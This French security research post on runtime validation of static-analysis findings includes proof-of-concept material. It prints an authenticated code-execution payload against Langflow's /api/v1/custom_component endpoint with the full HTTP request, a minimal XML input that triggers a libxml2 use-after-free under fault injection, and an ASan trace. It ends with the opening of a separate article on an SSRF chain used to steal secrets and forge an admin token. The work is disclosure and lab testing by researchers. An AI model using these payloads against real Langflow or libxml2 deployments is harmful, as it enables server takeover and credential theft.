Nous avons soumis deux résultats à la validation à l'exécution :

Exécution de code à distance authentifiée dans Langflow. Un simple test temporel a prouvé que le code envoyé au serveur s'exécute réellement, et qu'il s'exécute quatre fois pour chaque requête de validation.
Use-after-free dans libxml2. Les tests ont montré que trois des six conditions énumérées dans le rapport d'origine n'étaient pas nécessaires. Le bug se déclenche avec les paramètres par défaut de l'analyseur, du moment qu'une allocation mémoire échoue pendant l'analyse.

Dans les deux cas, le système en fonctionnement nous a appris quelque chose que le code seul ne pouvait pas nous dire. Le premier bug s'exécutait plus souvent que le code ne le laissait penser. Le second touchait plus de configurations que ne le prétendait le rapport. Des résultats comme ceux-ci sont réels mais mal décrits, et ils sont donc corrigés avec la mauvaise priorité.

Vérifier les résultats de cette manière demandait autrefois à un expert environ un après-midi par résultat. Un agent IA est ici un scanner autonome qui planifie des sondes, les exécute contre une cible active et consigne des preuves sans intervention humaine à chaque étape. Il peut désormais exécuter ces tests automatiquement, pour chaque résultat accompagné d'une cible exécutable, d'un artefact rejouable et d'un signal à observer.

Comment cette recherche a-t-elle été validée ?

Les résultats et les validations de cet article ont été réalisés par l'équipe de recherche en sécurité d'Ostorlab. Toutes les validations à l'exécution ont été effectuées sur une instance de laboratoire interne et contrôlée de Langflow (v1.7.3) et sur une version de libxml2 reconstruite localement avec AddressSanitizer. Les résultats reposent sur une analyse temporelle empirique, le suivi de la mémoire par AddressSanitizer (ASan) et l'ablation systématique des préconditions (test de chaque exigence annoncée en la supprimant).

Ce que l'analyse statique peut voir, et ce qu'elle ne peut pas voir

L'analyse statique peut suivre une valeur d'une source jusqu'à un sink et montrer qu'un chemin risqué existe dans le code source. Elle ne peut pas dire si ce chemin est atteignable dans l'application déployée, si l'entrée survit intacte jusqu'au sink, quelle est la gravité du résultat, ni quelles préconditions sont réelles.

Le SAST n'est pas mauvais dans son travail. Il fait un travail différent de celui que nous continuons de lui demander.

Un analyseur statique raisonne sur du code qui ne s'exécute pas. Dans ce cadre, il est rapide, minutieux et peu coûteux : il lira chaque fichier d'un gros dépôt avant qu'un humain ait fini son café, et il trouvera l'exec() que vous aviez oublié dans un module utilitaire que personne n'a touché depuis 2022.

Ce qu'il ne peut pas faire, c'est répondre aux quatre questions qui décident si quelqu'un doit s'en soucier :

Question	Pourquoi l'analyse du code source ne peut pas trancher
Le chemin est-il atteignable dans la configuration déployée ?	Dépend de la configuration d'exécution, des feature flags, du routage du reverse proxy, des filtres d'ingress et du middleware de session.
L'entrée survit-elle intacte jusqu'au sink ?	Dépend des formats de sérialisation, de la coercition du framework, des conversions de type, de la normalisation Unicode et de l'inspection par le WAF.
Quelle est la gravité lorsqu'il se déclenche ?	Dépend des droits du processus du système d'exploitation en cours d'exécution, des secrets montés et de l'isolation réseau, et non des permissions du dépôt.
Lesquelles des préconditions annoncées sont réelles ?	Un analyseur rapporte les conditions le long du seul chemin abstrait qu'il a tracé, et non le plus petit ensemble de conditions nécessaires pour déclencher le bug.

Cette dernière ligne est celle qu'on sous-estime, et les deux cas de cet article en dépendent. Un résultat statique décrit une façon dont le bug pourrait se produire. Il est souvent pris, par les lecteurs comme par les outils eux-mêmes, pour une description de la façon dont il se produit, et donc de qui est exposé.

Ce n'est pas une plainte contre une catégorie de produits. C'est la définition de la catégorie. Un outil qui raisonne sur du code mort ne peut pas rapporter des faits sur des processus vivants, de la même façon qu'une carte ne peut pas vous dire si le pont est fermé en ce moment.

Cas 1 : ce que disait le code de Langflow

Langflow est un outil visuel de construction de workflows LLM. Les utilisateurs assemblent des composants sur un canevas, et la plateforme leur permet d'écrire des composants personnalisés en Python. Cette fonctionnalité est le produit, ce qui rend le cas intéressant : le comportement dangereux n'est pas un accident, c'est la spécification du produit.

L'analyse statique de la v1.7.3 a produit une chaîne courte et simple :

Une requête POST vers /api/v1/custom_component transporte du code source Python fourni par l'utilisateur.
Le code est chargé via le mécanisme d'import dynamique de Python (importlib).
La classe du composant est instanciée afin que ses entrées et sorties puissent être lues.
__init__ s'exécute donc, dans le processus, avec les droits du processus du serveur Langflow.

Pas de sandbox, pas de liste d'autorisation, pas d'inspection de l'AST. Il n'y a là aucun truc ni aucune chaîne de gadgets astucieuse : la validation se fait en exécutant la chose.

Exécuter du Python est la fonctionnalité ; la vraie question est donc de savoir qui a le droit de le faire. Dans un déploiement Langflow partagé, tout compte capable de se connecter obtient les pleins droits du processus du serveur, et pas seulement l'accès à son propre espace de travail. C'est l'écart dont traite ce résultat.

En tant que résultat statique, c'est déjà solide, mais ce n'est toujours pas une preuve. Tout ce qui précède est une affirmation sur le code source. Quatre questions restent ouvertes, et chacune peut faire basculer la sévérité dans un sens ou dans l'autre :

L'endpoint accepte-t-il réellement cela sur une instance déployée, ou une protection de route ou un reverse proxy le rejette-t-il d'abord ?
L'authentification le protège-t-elle ? Le résultat dit oui, un JWT est requis, ce qui fait la différence entre un bug critique exposé sur Internet et un problème de privilèges après connexion.
__init__ s'exécute-t-il vraiment, ou Langflow lit-il la classe sans l'instancier, l'analyseur s'étant trompé sur l'import ?
Que peut réellement faire le code une fois exécuté : attendre, lancer des processus, lire l'environnement ?

Un relecteur peut débattre de ces quatre points indéfiniment. L'instance en fonctionnement les tranche en une minute environ.

Ce chemin est le pendant authentifié de CVE-2025-3248, l'injection de code non authentifiée dans /api/v1/validate/code qui affecte toutes les versions antérieures à 1.3.0, où exec() sur le code soumis exécute immédiatement les décorateurs et les arguments par défaut. Même décision de conception, autre porte : /api/v1/custom_component. La version 1.3.0 a fermé la porte non authentifiée, mais la porte authentifiée était encore ouverte sur la v1.7.3. Nous l'avons signalée aux mainteneurs de Langflow via un GitHub Security Advisory (GHSA-8xrc-2jr4-78j7, privé au moment du signalement) le 9 mars 2026. Ils l'ont qualifiée et acceptée, mais à la date de rédaction il n'existe toujours ni version corrigée ni CVE, et nos relances sont restées sans réponse.

Si vous exploitez une instance Langflow partagée, traitez /api/v1/custom_component et /api/v1/validate/code comme des endpoints réservés aux administrateurs jusqu'à la publication d'un correctif ; ne les exposez pas aux comptes des tenants.

Tous les tests ont été réalisés sur notre propre instance de laboratoire.

Cas 1 : ce que disait l'instance en fonctionnement

L'agent s'est connecté, a obtenu un JWT et a soumis des composants à /api/v1/custom_component sur un hôte de laboratoire.

Le premier payload n'est pas un exploit. C'est un contrôle négatif :

from langflow.custom import Component
from langflow.io import Output

class Recon(Component):
    display_name = "Recon"

    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)

    outputs = [Output(display_name="o", name="o", method="b")]

    def b(self):
        return ""

L'agent soumet ce composant par requête HTTP POST :

POST /api/v1/custom_component HTTP/1.1
Host: langflow.example.com:7860
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json

{
  "code": "from langflow.custom import Component\nfrom langflow.io import Output\n\nclass Recon(Component):\n    display_name = \"Recon\"\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n    outputs = [Output(display_name=\"o\", name=\"o\", method=\"b\")]\n    def b(self):\n        return \"\"\n"
}

La réponse est HTTP/1.1 200 OK et {"message": "Component validated successfully"} en 0,43 seconde. Nous avons maintenant une référence, et tout ce qui s'en écarte a un sens.

Le test est une attente dans le constructeur. Il n'a besoin d'aucun accès réseau sortant, n'écrit rien sur le disque et ne peut pas être confondu avec un chemin d'erreur :

import time
from langflow.custom import Component
from langflow.io import Output

class TimingOracle(Component):
    display_name = "TimingOracle"

    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        time.sleep(10)  # Injected delay oracle

    outputs = [Output(display_name="o", name="o", method="b")]

    def b(self):
        return ""

Les temps de réponse mesurés selon les durées :

Payload	Délai attendu	Réponse mesurée	Multiplicateur
Référence, sans attente	0 s	0,43 s	N/A
`time.sleep(3)`	3 s	12,53 s	~4×
`time.sleep(5)`	5 s	20,45 s	~4×
`time.sleep(10)`	10 s	40,50 s	~4×

Trois choses ressortent de ce tableau, et une seule figurait dans le résultat statique.

1. Le code s'exécute. Un serveur qui se contenterait de lire l'AST de la classe répondrait en 0,43 seconde quel que soit le contenu du constructeur. Le délai suit le payload, donc le constructeur s'exécute. C'est le résultat, confirmé.

2. Il s'exécute quatre fois. Le multiplicateur est stable pour trois durées d'attente différentes, ce qui écarte la coïncidence et la gigue réseau. Langflow instancie le composant quatre fois pendant une seule requête de validation. Le test temporel prouve le nombre, pas l'endroit où chaque exécution a lieu. D'après le code de validation, voici les quatre étapes les plus probables : - Premièrement, lors du chargement dynamique initial pour lire les attributs des champs. - Deuxièmement, lors de la réflexion sur le schéma d'entrée. - Troisièmement, lors de l'extraction des paramètres de sortie. - Quatrièmement, lors de la sérialisation du modèle.

Un lecteur du code source aurait dit « il est instancié pendant la validation » et aurait eu raison sans que ce soit utile. Quatre exécutions par requête sont un multiplicateur de force : une requête HTTP achète quatre exécutions, de sorte que tout travail coûteux dans le constructeur est multiplié par quatre et que tout effet de bord se déclenche quatre fois, ce qui compte si le payload ne peut pas être répété sans danger.

3. La relation est linéaire. 3 → 12,53 s, 5 → 20,45 s, 10 → 40,50 s. Chaque mesure vaut quatre fois l'attente plus environ une demi-seconde (0,45 s à 0,53 s), proche de la référence de 0,43 s. C'est ce qu'on attend si la seule chose qui a changé est l'attente exécutée quatre fois.

L'exécution est ensuite allée au-delà du test temporel pour établir l'impact et pas seulement l'exécution. Des payloads d'exécution de commandes et de lecture de l'environnement ont eux aussi renvoyé HTTP 200. Ces réponses suggèrent que des fichiers marqueurs ont été écrits sous /tmp et que des variables sensibles ont été lues ; cette partie est déduite du seul code de réponse, sans confirmation par un canal hors bande distinct, et nous conservons cette réserve dans le résultat lui-même. À ce stade, la question n'est plus de savoir si le code s'exécute, mais ce qu'un tenant de cette plateforme peut atteindre depuis l'intérieur du processus du serveur, c'est-à-dire, sans sandbox, tout ce que possède le compte de service. Le test temporel reste l'élément de preuve unique le plus solide de la chaîne, car c'est celui qui s'accompagne d'un contrôle négatif et d'une réponse linéaire.

Cas 2 : comment l'exécution a corrigé le résultat libxml2

Le cas Langflow montre l'exécution confirmant un résultat et lui ajoutant un fait. Le second cas est moins confortable et plus utile, car ici les tests à l'exécution ont contredit notre propre rapport.

Le résultat était un use-after-free sur le tas dans la validation des ID de libxml2 : deux attributs finissent par pointer vers le même objet xmlID, et le libérer une fois laisse le second attribut pointer vers de la mémoire libérée. L'analyse de la cause racine était juste jusqu'au numéro de ligne.

Le bug remonte au correctif de février 2022 pour CVE-2022-23308. Cette refonte de la gestion de la table des ID a laissé ce chemin d'aliasing atteignable ; il dormait donc dans la bibliothèque depuis environ quatre ans lorsque le scan l'a signalé. Le résultat était accompagné d'une liste de six conditions censées être nécessaires pour le déclencher.

Le rapport épingle le bug sur des fonctions et des numéros de ligne précis. L'alias naît dans xmlAddIDSafe, où deux attributs finissent par partager un même objet xmlID. Lors de la destruction du document, xmlFreeIDTable parcourt la table des ID et libère cet objet partagé via xmlFreeID ; comme l'entrée aliasée pointe toujours vers lui, la lecture suivante de cette entrée atterrit dans de la mémoire libérée. C'est la trame xmlFreeID visible dans la trace ASan à la fin de cette section.

Nous avons reconstruit la bibliothèque avec AddressSanitizer et testé chaque condition de la façon la plus évidente : retirer un ingrédient, balayer chaque position d'échec d'allocation et observer si le crash persiste :

Condition retirée	Le crash se reproduit-il encore ?	Verdict
`XML_PARSE_NOENT` (substitution d'entités)	Oui	Non requise
`XML_PARSE_DTDVALID` (validation de la DTD)	Oui	Non requise
Troisième attribut, non-ID, sur l'élément	Oui	Non requise
Valeurs d'ID en double	Non	Requise
`ATTLIST` déclarant les attributs comme `ID`	Non	Requise
Un échec d'allocation, quel qu'il soit	Non	Requise

Trois des six n'étaient pas des conditions. Chacune avait une justification d'apparence raisonnable, et chacune était un énoncé vrai à propos de l'unique trace d'exécution que l'analyseur avait vue, transformé en condition requise sans que personne ne teste si le retirer arrêtait le crash.

Le sens de l'erreur est ce qui compte. Les trois ont surestimé les exigences. Deux d'entre elles étaient des options d'analyseur non par défaut (XML_PARSE_NOENT et XML_PARSE_DTDVALID) ; le résultat tel qu'il était écrit disait donc aux lecteurs que les deux options étaient nécessaires pour être concerné.

En réalité, le bug se déclenche avec les options par défaut, sans aucune option activée. Une équipe lisant le résultat d'origine aurait pu décider, raisonnablement et à tort, qu'il ne la concernait pas.

Voici la plus petite entrée de 143 octets qui, avec un échec d'allocation injecté pendant l'analyse, déclenche le crash sans option non par défaut :

<!DOCTYPE root [
  <!ELEMENT root (elem)*>
  <!ATTLIST elem id1 ID #REQUIRED id2 ID #REQUIRED>
]>
<root>
  <elem id1="dup" id2="dup"/>
</root>

La seule autre exigence non évidente que le tableau conserve, outre les ID en double et la déclaration ATTLIST de type ID, est un échec d'allocation : le crash exige qu'un malloc échoue quelque part pendant l'analyse, ce qu'un injecteur de fautes placé dans le harnais de test (le harnais de fuzzing) force pendant son balayage des échecs d'allocation. C'est une condition mémoire, et non une option de l'analyseur ; la reproduction s'exécute donc toujours avec les options par défaut. Cela rend aussi le bug difficile à déclencher par accident en production, car il faut qu'une allocation échoue pendant l'analyse, une condition que les charges de travail réelles ne rencontrent que sous pression mémoire, et que le harnais atteint par injection de fautes. L'intérêt du test n'est pas que le crash soit facile. C'est que le rapport s'est trompé sur les configurations que le bug peut atteindre.

Et voici la trace de crash d'AddressSanitizer, produite avec les options d'analyse par défaut et l'échec d'allocation injecté :

=================================================================
==18492==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000000420 at pc 0x7f81ab281a4b bp 0x7ffd19b3a1a0 sp 0x7ffd19b3a198
READ of size 8 at 0x608000000420 thread T0
    #0 0x7f81ab281a4a in xmlFreeID /libxml2/valid.c:2892:12
    #1 0x7f81ab280ef1 in xmlFreeIDTable /libxml2/valid.c:2914:5
    #2 0x7f81ab251208 in xmlFreeDoc /libxml2/tree.c:1240:5
    #3 0x55dc1820491a in main /libxml2/xmllint.c:3812:9

0x608000000420 is located 32 bytes inside of 48-byte region [0x608000000400,0x608000000430)
freed by thread T0 here:
    #0 0x7f81ab708f30 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0xaaf30)
    #1 0x7f81ab281a4a in xmlFreeID /libxml2/valid.c:2892:12
    #2 0x7f81ab280ef1 in xmlFreeIDTable /libxml2/valid.c:2914:5
=================================================================

L'expérience qui a réglé la question a pris une vingtaine de minutes : six variantes d'un fichier de 143 octets et un balayage. La partie difficile, trouver un use-after-free derrière un chemin de destruction protégé dans sept mille lignes de code de validation, était déjà faite. La partie bon marché était celle qui a changé la réponse.

Que sait le système en fonctionnement que le code source ne sait pas ?

Quatre faits (l'atteignabilité, la multiplicité, la nécessité et le rayon d'impact) ne peuvent être confirmés qu'en exécutant le système. Les deux cas ne se ressemblent en rien. L'un est un service web Python, l'autre une bibliothèque d'analyse en C ; l'un est une décision de conception, l'autre une régression vieille de quatre ans. Ils échouent de la même façon parce que les deux résultats sont des affirmations sur du code source, et que seul un système en fonctionnement peut confirmer ou contredire une affirmation au niveau du code source.

1. L'atteignabilité. L'analyse du code source prouve qu'un chemin existe dans le code. Elle ne peut pas prouver que ce chemin est actif dans le déploiement. L'endpoint de Langflow répond, accepte le payload et l'exécute : il fallait le voir.

2. La multiplicité. Combien de fois l'opération dangereuse se produit-elle réellement par requête ? Rien dans un rapport statique ne signale ce nombre, et il est facile à manquer en lisant le code à la main. Il décide souvent de la sévérité, car il transforme un bug fonctionnel en multiplicateur de force.

3. La nécessité. L'analyse statique rapporte les conditions le long du chemin qu'elle a tracé. Ce sont des conditions suffisantes, présentées comme nécessaires. Seul le test par suppression, retirer une condition et réessayer, sépare les deux, et la différence représente toute l'estimation de l'exposition. Trois des six conditions du cas libxml2 n'étaient pas requises du tout.

4. Le rayon d'impact. Ce que le code peut atteindre à l'exécution dépend du processus, et non du dépôt : son identifiant d'utilisateur, ses variables d'environnement, ses secrets montés et sa position réseau. Un exec() limité à un conteneur et un autre exécuté en root produisent les mêmes résultats au niveau du code source et des incidents très différents.

Remarquez que trois des quatre ne concernent pas la question de savoir si le résultat est un faux positif. Tout le monde présente la validation à l'exécution comme une réduction des faux positifs, et elle le fait, mais la perte la plus importante concerne les résultats corrects mais mal décrits. Ceux-là ne sont pas écartés au tri. Ils sont corrigés avec la mauvaise priorité, ou repoussés pour une raison qui se révèle fausse, et contrairement à un faux positif, personne ne découvre l'erreur avant qu'un incident ne survienne.

Qu'est-ce qui constitue la preuve d'une vulnérabilité ?

« Validé » est un mot très utilisé dans les rapports de sécurité, et il ne veut souvent presque rien dire. Voici le standard auquel nous soumettons nos propres résultats, et c'est un standard utile à appliquer à tout rapport de sécurité :

Un artefact reproductible. La requête, le payload ou le fichier d'entrée exact, sous une forme que quelqu'un d'autre peut rejouer. Pas une description en prose de l'attaque. Le fichier XML de 143 octets, la requête HTTP avec ses en-têtes, le code source du composant personnalisé.
Un oracle. Quelque chose que vous pouvez observer et qui sépare « la vulnérabilité s'est déclenchée » de « quelque chose s'est produit ». Un délai qui suit le payload en ligne droite. Un abort d'AddressSanitizer. Un fichier marqueur. Un rappel DNS hors bande. Sans oracle, vous avez une bizarrerie, pas un résultat.
Un contrôle négatif. La même requête avec la version inoffensive du payload (dans le cas 1, le composant Recon sans l'attente), montrant que le signal disparaît. La référence de 0,43 seconde travaille autant dans ce tableau que la mesure de 40,50 secondes, car c'est elle qui transforme une réponse lente en preuve. Les résultats qui sautent le contrôle sont ceux qui s'effondrent dans la réponse de l'éditeur.
Des préconditions caractérisées, testées par suppression. Pour chaque exigence annoncée, la preuve que la retirer arrête l'effet. C'est l'étape que presque tout le monde saute, et c'est celle qui décide qui doit agir.
Une frontière honnête. Ce qui a été démontré et ce qui a été déduit. Notre résultat Langflow montre l'exécution de code avec un test temporel contrôlé ; il déduit l'exposition d'identifiants à partir de réponses HTTP 200, et le dit dans le rapport plutôt que d'arrondir à « compromission totale prouvée ».

Un résultat qui satisfait ces cinq points n'est pas un ticket qu'un ingénieur doit investiguer. C'est un ticket qu'il doit corriger, et ce ticket porte son propre test de non-régression : la même requête, rejouée après le correctif, avec la référence pour résultat attendu.

Qu'est-ce qu'un agent autonome change vraiment ?

Rien de tout cela n'est une idée nouvelle. Chaque étape correspond à ce que fait un pentesteur senior avec un rapport SAST et un environnement de préproduction. Si ce n'est pas devenu une pratique courante, c'est pour une raison d'arithmétique simple : un testeur, un après-midi, un résultat, face à un arriéré de tri qui dépasse en nombre les après-midi de l'équipe.

Un agent autonome change le coût de cette boucle, pas sa logique :

┌────────────────────────────────────────────────────────────────────────────────────────┐
│                      AUTONOMOUS RUNTIME VALIDATION PIPELINE                            │
├────────────────────────────────────────────────────────────────────────────────────────┤
│  1. Static Pass      ──► 2. Hypothesis      ──► 3. Design Oracle & Negative Control    │
│     (Path to Sink)          (Evidence Criteria)     (Timing / Memory Abort / DNS)      │
│                                                              │                         │
│  ┌───────────────────────────────────────────────────────────┘                         │
│  ▼                                                                                     │
│  4. Live System Probe ──► 5. Observable Fires?                                         │
│                                 │                                                      │
│        ┌────────────────────────┴────────────────────────┐                             │
│        ▼ (No)                                            ▼ (Yes)                       │
│     Refute & Log Negative Result                      6. Ablate Claimed Preconditions  │
│     (Record the result)                                  │                             │
│                                                          ▼                             │
│                                                       7. Actionable Proven Finding     │
│                                                          (PoC + Regression Test)       │
└────────────────────────────────────────────────────────────────────────────────────────┘

La boucle de retour après une supposition réfutée est la partie qui compte, et celle que la plupart des automatisations sautent. Dans notre exécution sur libxml2, les trois premières suppositions sur les conditions de déclenchement étaient fausses, et chacune a été réfutée plutôt qu'abandonnée discrètement ; la quatrième a été la première à tenir. Un système qui ne rapporte que ses victoires ne fait pas de la recherche de vulnérabilités : il échantillonne jusqu'à ce que quelque chose plante.

Ce en quoi les agents sont bons ici est étroit, répétitif et bien réel : générer des variantes de payload, tenir l'arithmétique des temps, exécuter le balayage « retirer une condition à la fois » dont personne n'a la patience, et consigner le résultat négatif. Cette exécution sur libxml2 est allée du code source à une preuve de concept fonctionnelle en 1 heure 54 minutes, dont environ vingt minutes pour le balayage d'ablation à six variantes.

Les limites sont tout aussi réelles, et le second cas les montre à nos dépens.

L'agent a produit une cause racine correcte, une preuve de concept fonctionnelle et une liste de préconditions fausse avec assurance. Ce n'était pas une réponse inventée : chaque affirmation était un énoncé vrai à propos de l'unique trace d'exécution qu'il avait vue. L'échec a été de généraliser à partir d'une seule trace sans tester la généralisation, un mode de défaillance connu, et que l'on peut concevoir un pipeline pour détecter. Le test par suppression n'est pas une finition facultative en fin de parcours. C'est l'étape qui rend le reste digne de confiance.

Qu'arrive-t-il dans la file des développeurs après la validation à l'exécution ?

Le changement concret porte sur ce qui arrive dans la file des développeurs :

Métrique	Résultat non prouvé (SAST brut)	Résultat prouvé (validation agentique à l'exécution)
Première question posée	« Est-ce réel ? »	« Sandbox ou contrôle d'authentification ? »
Qui passe du temps	La sécurité, puis le développeur, puis encore la sécurité	Le développeur, une seule fois
Preuve dans le ticket	Un chemin source, une ligne de fichier et un CWE générique	Une requête exécutable, une réponse vérifiée et un contrôle exécuté
Test de non-régression	Écrit plus tard, si jamais	L'artefact de preuve, rejoué après le correctif
Score de sévérité	Sévérité théorique défendue à partir du code	Sévérité mesurée, vérifiée par rapport au déploiement

La colonne de droite est aussi ce qui permet à un résultat de survivre au contact d'une équipe de développement ou d'un mainteneur open source.

« Votre endpoint de validation exécute le code soumis » invite à un débat sur l'intention de conception.

« Voici un composant dont le constructeur attend dix secondes, voici votre serveur qui met 40,50 secondes à répondre, et voici la même requête sans l'attente qui revient en 0,43 seconde » y met fin.

Comment les équipes peuvent-elles rendre les résultats de sécurité plus fiables ?

Quel que soit l'outillage de votre organisation, trois pratiques améliorent immédiatement la qualité des résultats :

Exiger l'exécution d'un contrôle négatif. Faites de « qu'a fait exactement la même requête sans le payload ? » un champ obligatoire de chaque résultat de forte sévérité. Cela coûte quelques secondes et élimine les faux positifs dus aux endpoints lents, aux délais d'expiration des proxys ou à la latence de l'environnement.
Traiter les listes de préconditions comme des affirmations non testées. Un résultat qui dit « n'affecte que les déploiements avec le paramètre X activé » n'est qu'une supposition tant que personne n'a désactivé X et rejoué la sonde. Cette phrase décide si votre équipe agit ; elle mérite le même test que la vulnérabilité elle-même.
Conserver les résultats négatifs. Une supposition réfutée n'est pas une exécution perdue. C'est la raison pour laquelle le prochain scan ne relève pas la même alerte, et c'est la piste d'audit qui montre que votre outillage raisonne au lieu de deviner.

Pourquoi la validation à l'exécution change la file de tri

Un résultat statique est une bonne question, pas une réponse. Il vous dit où regarder. Seul le système en fonctionnement peut vous dire si le bug est réel, à quelle fréquence il se déclenche, ce dont il a vraiment besoin et jusqu'où il porte.

Les deux cas montrent les deux faces de ce constat. Dans Langflow, les tests à l'exécution ont confirmé le résultat et ajouté un fait que personne ne pouvait lire dans le code : quatre exécutions par requête. Dans libxml2, ils ont fait l'inverse et corrigé le résultat, montrant que la moitié des préconditions annoncées n'étaient pas nécessaires et que le bug peut atteindre beaucoup plus de configurations que le rapport ne le laissait entendre.

Aucun de ces résultats n'a demandé une idée nouvelle. Chacun a demandé une expérience : un signal clair, un contrôle et un test pour chaque condition annoncée. Ce travail a toujours été possible et toujours trop lent pour être fait à la main à grande échelle. Un agent le rend assez peu coûteux pour être exécuté sur chaque résultat qui dispose d'une cible exécutable et d'un signal à observer, ce qui transforme une file bruyante de « peut-être » en une courte liste de bugs prouvés, prêts à être corrigés.

Ostorlab exécute tout ce processus en une seule passe : l'analyse statique trouve les chemins candidats, et Ostorlab Agentic Deep Scan les conduit directement vers une instance active pour concevoir, sonder et tester la preuve. L'étape « retirer une condition à la fois » établit la vraie liste de préconditions au lieu d'hériter des hypothèses d'un code source mort. Les deux résultats discutés ici sont directement issus de ce pipeline.

Lancer un Agentic Deep Scan pour transformer vos résultats statiques en résultats prouvés, prêts à être corrigés.

Foire aux questions (FAQ)

Quelle est la différence entre le SAST et la validation à l'exécution ?

Le SAST (test statique de sécurité des applications) lit du code source qui ne s'exécute pas et indique où existe un chemin risqué. La validation à l'exécution exécute la cible et vérifie si ce chemin se déclenche réellement, avec quelle intensité et dans quelles conditions. Le SAST trouve des candidats ; la validation à l'exécution transforme un candidat en preuve ou l'écarte.

Pourquoi la requête Langflow a-t-elle pris 40,50 secondes pour une attente de 10 secondes ?

Langflow crée le composant soumis environ quatre fois pendant une requête de validation, de sorte que le constructeur, et son time.sleep(10), s'exécute quatre fois. Quatre attentes de dix secondes plus un faible surcoût donnent environ 40,5 secondes. Le même motif de quatre exécutions apparaît à trois et cinq secondes, ce qui nous permet de savoir qu'il est réel et qu'il ne s'agit pas de bruit réseau.

Le problème de Langflow est-il le même que CVE-2025-3248 ?

Non, mais ce sont des proches parents. CVE-2025-3248 est une injection de code non authentifiée dans /api/v1/validate/code, corrigée dans la version 1.3.0. Le chemin dont il est question ici est son pendant authentifié sur /api/v1/custom_component. Même décision de conception sous-jacente, autre porte. La porte non authentifiée a été corrigée dans la version 1.3.0 ; la porte authentifiée était encore ouverte sur la v1.7.3 lors de nos tests. Nous l'avons signalée aux mainteneurs de Langflow le 9 mars 2026 (avis GHSA-8xrc-2jr4-78j7) ; elle n'avait ni correctif ni CVE à la date de rédaction.

Qu'est-ce qu'un oracle temporel, et pourquoi lui faire confiance ?

Un oracle temporel est un payload dont le seul rôle est de faire prendre au serveur un délai supplémentaire mesurable et prévisible, ici une attente (sleep) dans le constructeur. On lui fait confiance parce qu'il s'accompagne d'un contrôle négatif (la même requête sans attente revient en 0,43 seconde) et d'une réponse linéaire (trois, cinq et dix secondes évoluent toutes du même facteur). Ensemble, ils écartent le hasard et la gigue réseau.

Que signifie le « test par suppression » (ablation) pour les préconditions ?

Cela signifie retirer une exigence annoncée et réexécuter le test. Si le bug se déclenche encore, cette exigence n'a jamais été nécessaire. Dans le cas libxml2, trois des six conditions annoncées se sont révélées facultatives, et le bug s'est déclenché avec les paramètres d'analyse par défaut (un échec d'allocation injecté reste requis), l'opposé de ce que laissait entendre l'analyse d'origine.

La validation à l'exécution remplace-t-elle le SAST ?

Non. Elle s'ajoute par-dessus. Le SAST est rapide et minutieux pour trouver des chemins candidats dans toute une base de code. La validation à l'exécution prouve lesquels de ces candidats sont réels et les décrit correctement. Il vous faut les deux.

Ces tests ont-ils été exécutés sur de vrais systèmes de production ?

Non. Les deux résultats ont été validés sur nos propres cibles de laboratoire et de test, que nous avons mises en place et que nous contrôlons. Le propos de l'article est la méthode, et non l'accès au système de quelqu'un d'autre.

Sources et références

Source	Référence et contexte
Dépôt du projet Langflow	github.com/langflow-ai/langflow : architecture des composants Python personnalisés et endpoint de validation.
CVE-2025-3248	NVD : CVE-2025-3248 : injection de code non authentifiée dans `/api/v1/validate/code`, versions de Langflow antérieures à 1.3.0.
Correctif libxml2 de CVE-2022-23308	Commit 652dd12 de GNOME libxml2 : correctif amont (février 2022) pour CVE-2022-23308, un use-after-free des attributs ID et IDREF. Sa refonte de la gestion de la table des ID a laissé atteignable le chemin d'aliasing décrit ci-dessus.
Confiance et preuves dans le pentest IA	Ostorlab : l'IA peut mener l'attaque. Pouvez-vous faire confiance au résultat ? : niveaux minimaux de preuve et contrôles de validation pour les agents autonomes.
Dérive de périmètre du pentest autonome	Ostorlab : post-mortem, pourquoi les agents IA autonomes sortent de leur périmètre : architecture de confinement et garde-fous opérationnels.

La carte et la fenêtre : comment un scan agentique a transformé une fuite de documentation en identifiants volés

2026-09-23T10:00:00+02:00

Ostorlab Agentic Deep Scan a trouvé une spécification OpenAPI lisible publiquement à l'adresse /static/openapi.json et l'a classée en sévérité moyenne : de la documentation, sans identifiants. Il a ensuite lu ce document comme un inventaire et l'a parcouru jusqu'à deux vulnérabilités critiques, un jeu d'identifiants de base de données valides et une session d'administrateur falsifiée.

Qu'est-ce qu'un chemin d'attaque inter-couches ? Un chemin d'attaque inter-couches est un chemin où un artefact exposé à un niveau d'une application — un fichier de build, une ressource statique, un bundle client — fournit ce qu'il faut pour atteindre une faiblesse située à un autre niveau, généralement le backend. L'artefact n'est souvent pas une vulnérabilité en soi ; sa valeur est de supprimer les tâtonnements lors du test d'autre chose.

Résumé (TL;DR)

Deux endpoints de cette spécification ont compté. /internal/secret renvoie les secrets de l'application et refuse tout le monde sauf le serveur lui-même, en répondant aux requêtes directes par HTTP 403 Internal resource. Loopback only. /upload_profile_picture_url accepte une URL et la récupère, côté serveur.

Pointer le second vers le premier a satisfait la restriction de loopback au lieu de la briser. La réponse contenait les clés de signature de l'application, des secrets JWT et des identifiants de base de données — et la clé de signature divulguée a ensuite servi à forger un jeton d'administrateur accepté par l'application.

Environnement de test et méthodologie

Cette présentation décrit un exercice de benchmark simulé et autorisé. Tous les tests ont été réalisés par Ostorlab Agentic Deep Scan contre vulnbank.org, une application bancaire volontairement vulnérable, publiée et maintenue pour la recherche en sécurité et l'évaluation d'outils. Aucun système de production, aucune donnée client réelle et aucun actif tiers n'ont été impliqués, et chaque identifiant présenté ci-dessous est une valeur de test pré-remplie appartenant à ce bac à sable.

Pourquoi les scanners s'arrêtent à la spécification

Les outils fondés sur des signatures évaluent une requête à la fois par rapport à une bibliothèque de motifs malveillants connus. Cette primitive est rapide et déterministe, et elle présente trois angles morts structurels qu'aucune règle supplémentaire ne comble.

Limite	Pourquoi elle existe	Ce qu'elle manque ici
Aucun état entre les requêtes	Les endpoints sont évalués isolément, requête par requête	Que deux endpoints listés dans le même fichier se combinent en un contournement
Aucune notion de finalité	Les règles encodent la syntaxe, pas ce à quoi sert une fonctionnalité par rapport à ce qu'elle fait	Qu'un outil de téléversement de photo de profil est, du point de vue du serveur, un générateur de requêtes
